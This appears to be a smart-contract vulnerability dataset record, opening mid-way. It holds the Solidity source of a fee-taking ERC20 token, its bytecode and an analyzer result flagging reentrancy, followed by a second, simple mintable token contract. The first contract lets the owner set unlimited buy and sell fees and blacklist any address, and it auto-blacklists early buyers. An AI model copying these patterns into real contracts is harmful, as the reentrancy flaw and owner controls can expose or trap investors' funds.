_maxTxAmount = 15000000000 * 10**9; // uint256 public _maxWalletSize = 30000000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+4 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054a578063dd62ed3e14610560578063ea1644d5146105a6578063f2fde38b146105c657600080fd5b8063a9059cbb146104c5578063bfd79284146104e5578063c3c8cd8014610515578063c492f0461461052a57600080fd5b80638f9a55c0116100d15780638f9a55c01461044057806395d89b411461045657806398a5c31514610485578063a2a957bb146104a557600080fd5b80637d1db4a5146103ec5780638da5cb5b146104025780638f70ccf71461042057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b66565b6105e6565b005b34801561020a57600080fd5b5060408051808201909152600981526845746865724963686960b81b60208201525b6040516102399190611c98565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611ab6565b610685565b6040519015158152602001610239565b34801561027e57600080fd5b50601554610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50683635c9adc5dea000005b604051908152602001610239565b3480156102dc57600080fd5b506102626102eb366004611a75565b61069c565b3480156102fc57600080fd5b506102c260195481565b34801561031257600080fd5b5060405160098152602001610239565b34801561032e57600080fd5b50601654610292906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611a02565b610705565b34801561036e57600080fd5b506101fc61037d366004611c32565b610750565b34801561038e57600080fd5b506101fc610798565b3480156103a357600080fd5b506102c26103b2366004611a02565b6107e3565b3480156103c357600080fd5b506101fc610805565b3480156103d857600080fd5b506101fc6103e7366004611c4d565b610879565b3480156103f857600080fd5b506102c260175481565b34801561040e57600080fd5b506000546001600160a01b0316610292565b34801561042c57600080fd5b506101fc61043b366004611c32565b6108a8565b34801561044c57600080fd5b506102c260185481565b34801561046257600080fd5b5060408051808201909152600681526520244943484960d01b602082015261022c565b34801561049157600080fd5b506101fc6104a0366004611c4d565b6108f4565b3480156104b157600080fd5b506101fc6104c0366004611c66565b610923565b3480156104d157600080fd5b506102626104e0366004611ab6565b610961565b3480156104f157600080fd5b50610262610500366004611a02565b60116020526000908152604090205460ff1681565b34801561052157600080fd5b506101fc61096e565b34801561053657600080fd5b506101fc610545366004611ae2565b6109c2565b34801561055657600080fd5b506102c260085481565b34801561056c57600080fd5b506102c261057b366004611a3c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b257600080fd5b506101fc6105c1366004611c4d565b610a63565b3480156105d257600080fd5b506101fc6105e1366004611a02565b610a92565b6000546001600160a01b031633146106195760405162461bcd60e51b815260040161061090611ced565b60405180910390fd5b60005b81518110156106815760016011600084848151811061063d5761063d611e34565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067981611e03565b91505061061c565b5050565b6000610692338484610b7c565b5060015b92915050565b60006106a9848484610ca0565b6106fb84336106f685604051806060016040528060288152602001611e76602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061125e565b610b7c565b5060019392505050565b6000546001600160a01b0316331461072f5760405162461bcd60e51b815260040161061090611ced565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077a5760405162461bcd60e51b815260040161061090611ced565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107cd57506014546001600160a01b0316336001600160a01b0316145b6107d657600080fd5b476107e081611298565b50565b6001600160a01b0381166000908152600260205260408120546106969061131d565b6000546001600160a01b0316331461082f5760405162461bcd60e51b815260040161061090611ced565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a35760405162461bcd60e51b815260040161061090611ced565b601755565b6000546001600160a01b031633146108d25760405162461bcd60e51b815260040161061090611ced565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b0316331461091e5760405162461bcd60e51b815260040161061090611ced565b601955565b6000546001600160a01b0316331461094d5760405162461bcd60e51b815260040161061090611ced565b600993909355600b91909155600a55600c55565b6000610692338484610ca0565b6013546001600160a01b0316336001600160a01b031614806109a357506014546001600160a01b0316336001600160a01b0316145b6109ac57600080fd5b60006109b7306107e3565b90506107e0816113a1565b6000546001600160a01b031633146109ec5760405162461bcd60e51b815260040161061090611ced565b60005b82811015610a5d578160056000868685818110610a0e57610a0e611e34565b9050602002016020810190610a239190611a02565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5581611e03565b9150506109ef565b50505050565b6000546001600160a01b03163314610a8d5760405162461bcd60e51b815260040161061090611ced565b601855565b6000546001600160a01b03163314610abc5760405162461bcd60e51b815260040161061090611ced565b6001600160a01b038116610b215760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610610565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bde5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610610565b6001600160a01b038216610c3f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610610565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d045760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610610565b6001600160a01b038216610d665760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610610565b60008111610dc85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610610565b6000546001600160a01b03848116911614801590610df457506000546001600160a01b03838116911614155b1561115757601654600160a01b900460ff16610e8d576000546001600160a01b03848116911614610e8d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610610565b601754811115610edf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610610565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2157506001600160a01b03821660009081526011602052604090205460ff16155b610f795760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610610565b600854610f87906004611d93565b4311158015610fa357506016546001600160a01b038481169116145b8015610fbd57506015546001600160a01b03838116911614155b8015610fd257506001600160a01b0382163014155b15610ffb576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b03838116911614611080576018548161101d846107e3565b6110279190611d93565b106110805760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610610565b600061108b306107e3565b6019546017549192508210159082106110a45760175491505b8080156110bb5750601654600160a81b900460ff16155b80156110d557506016546001600160a01b03868116911614155b80156110ea5750601654600160b01b900460ff165b801561110f57506001600160a01b03851660009081526005602052604090205460ff16155b801561113457506001600160a01b03841660009081526005602052604090205460ff16155b1561115457611142826113a1565b4780156111525761115247611298565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119957506001600160a01b03831660009081526005602052604090205460ff165b806111cb57506016546001600160a01b038581169116148015906111cb57506016546001600160a01b03848116911614155b156111d857506000611252565b6016546001600160a01b03858116911614801561120357506015546001600160a01b03848116911614155b1561121557600954600d55600a54600e555b6016546001600160a01b03848116911614801561124057506015546001600160a01b03858116911614155b1561125257600b54600d55600c54600e555b610a5d8484848461152a565b600081848411156112825760405162461bcd60e51b81526004016106109190611c98565b50600061128f8486611dec565b95945050505050565b6013546001600160a01b03166108fc6112b2836002611558565b6040518115909202916000818181858888f193505050501580156112da573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112f5836002611558565b6040518115909202916000818181858888f19350505050158015610681573d6000803e3d6000fd5b60006006548211156113845760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610610565b600061138e61159a565b905061139a8382611558565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113e9576113e9611e34565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561143d57600080fd5b505afa158015611451573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114759190611a1f565b8160018151811061148857611488611e34565b6001600160a01b0392831660209182029290920101526015546114ae9130911684610b7c565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e7908590600090869030904290600401611d22565b600060405180830381600087803b15801561150157600080fd5b505af1158015611515573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611537576115376115bd565b6115428484846115eb565b80610a5d57610a5d600f54600d55601054600e55565b600061139a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e2565b60008060006115a7611710565b90925090506115b68282611558565b9250505090565b600d541580156115cd5750600e54155b156115d457565b600d8054600f55600e805460105560009182905555565b6000806000806000806115fd87611752565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162f90876117af565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461165e90866117f1565b6001600160a01b03891660009081526002602052604090205561168081611850565b61168a848361189a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116cf91815260200190565b60405180910390a3505050505050505050565b600081836117035760405162461bcd60e51b81526004016106109190611c98565b50600061128f8486611dab565b6006546000908190683635c9adc5dea0000061172c8282611558565b82101561174957505060065492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061176f8a600d54600e546118be565b925092509250600061177f61159a565b905060008060006117928e878787611913565b919e509c509a509598509396509194505050505091939550919395565b600061139a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061125e565b6000806117fe8385611d93565b90508381101561139a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610610565b600061185a61159a565b905060006118688383611963565b3060009081526002602052604090205490915061188590826117f1565b30600090815260026020526040902055505050565b6006546118a790836117af565b6006556007546118b790826117f1565b6007555050565b60008080806118d860646118d28989611963565b90611558565b905060006118eb60646118d28a89611963565b90506000611903826118fd8b866117af565b906117af565b9992985090965090945050505050565b60008080806119228886611963565b905060006119308887611963565b9050600061193e8888611963565b90506000611950826118fd86866117af565b939b939a50919850919650505050505050565b60008261197257506000610696565b600061197e8385611dcd565b90508261198b8583611dab565b1461139a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610610565b80356119ed81611e60565b919050565b803580151581146119ed57600080fd5b600060208284031215611a1457600080fd5b813561139a81611e60565b600060208284031215611a3157600080fd5b815161139a81611e60565b60008060408385031215611a4f57600080fd5b8235611a5a81611e60565b91506020830135611a6a81611e60565b809150509250929050565b600080600060608486031215611a8a57600080fd5b8335611a9581611e60565b92506020840135611aa581611e60565b929592945050506040919091013590565b60008060408385031215611ac957600080fd5b8235611ad481611e60565b946020939093013593505050565b600080600060408486031215611af757600080fd5b833567ffffffffffffffff80821115611b0f57600080fd5b818601915086601f830112611b2357600080fd5b813581811115611b3257600080fd5b8760208260051b8501011115611b4757600080fd5b602092830195509350611b5d91860190506119f2565b90509250925092565b60006020808385031215611b7957600080fd5b823567ffffffffffffffff80821115611b9157600080fd5b818501915085601f830112611ba557600080fd5b813581811115611bb757611bb7611e4a565b8060051b604051601f19603f83011681018181108582111715611bdc57611bdc611e4a565b604052828152858101935084860182860187018a1015611bfb57600080fd5b600095505b83861015611c2557611c11816119e2565b855260019590950194938601938601611c00565b5098975050505050505050565b600060208284031215611c4457600080fd5b61139a826119f2565b600060208284031215611c5f57600080fd5b5035919050565b60008060008060808587031215611c7c57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cc557858101830151858201604001528201611ca9565b81811115611cd7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d725784516001600160a01b031683529383019391830191600101611d4d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611da657611da6611e1e565b500190565b600082611dc857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611de757611de7611e1e565b500290565b600082821015611dfe57611dfe611e1e565b500390565b6000600019821415611e1757611e17611e1e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122095d21cdddf2eec4734af715d59c7b462bb8743b781578156a865244cd484842964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,392
0xa6d96dc5ac3515416ec6a23f89e3d5bf5c6fbd66
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; address public creator; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; // Set creator creator = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Throws if called by any account other than the creator. */ modifier onlyCreator() { require(msg.sender == creator); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyCreator { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * Detailed */ contract MyCoin is MintableToken,BurnableToken { string public name = "niucocoin"; string public symbol = "NCC"; uint256 public decimals = 18; uint256 public INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals)); function MyCoin() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
